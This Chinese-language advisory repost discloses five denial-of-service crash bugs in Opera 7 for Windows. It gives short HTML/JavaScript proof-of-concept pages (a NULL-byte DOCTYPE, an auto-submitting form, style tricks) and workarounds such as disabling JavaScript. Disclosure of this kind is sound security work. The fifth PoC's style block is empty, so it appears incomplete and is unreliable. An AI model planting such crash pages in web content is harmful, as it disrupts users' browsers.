Opera 7五个Dos漏洞

关注+2010-01-16作者：

Opera 7五个Dos漏洞：

内容:
-= Fastest browser on earth, Fastest crash on earth too =-
PRODUCT        : Opera for Windows
VERSIONS       : 7.11b build 2887
                 7.11  build 2880
                 7.10  build 2840
                 7.03  build 2670
Opera 7存在许多Bugs,下面是五个新发现的可使CPU占用100%的漏洞：
  [ CODE 1 ]

    只需12字节数据"<!DOCTYPE" + NULL(\x00) + 1byte + ">" 就可使CPU占用100%
然后当机。

    -----------------------------------------------------------------
      <!DOCTYPE[\x00]A>
    -----------------------------------------------------------------

  [ CODE 2 ]

    当机或非法操作

    -----------------------------------------------------------------
      <form></form><script>document.forms[0].submit()</script>
    -----------------------------------------------------------------

  [ CODE 3 ]

    当机或非法操作

    -----------------------------------------------------------------
      <table>
      <tr id="crash" style="display:inline"><td>
      <script>crash.style.display = "none";</script>
      </td></tr>
      </table>
    -----------------------------------------------------------------

  [ CODE 4 ]

    当机或非法操作

    -----------------------------------------------------------------
      <table>
      <map id="crash" style="position:absolute"></map>
      <script>crash.style.height = crash.style.width = '0';</script>
      </table>
    -----------------------------------------------------------------

  [ CODE 5 ]

    CPU占用100%，然后当机
    -----------------------------------------------------------------
      <html>
      <head>
        <style type="text/css">
        
        </style>
      </head>
      <body>
      <div class="aaaaa">
       <div class="bbbbb">
        <div class="ccccc">
        </div>
       </div>
      </div>
      </body>
      </html>

解决办法：

  [ CODE 1 ]  尚无
  [ CODE 2 ]  关闭 "JavaScript"
  [ CODE 3 ]  关闭 "JavaScript"
  [ CODE 4 ]  关闭 "JavaScript"
  [ CODE 5 ]  关闭 "CSS Author mode"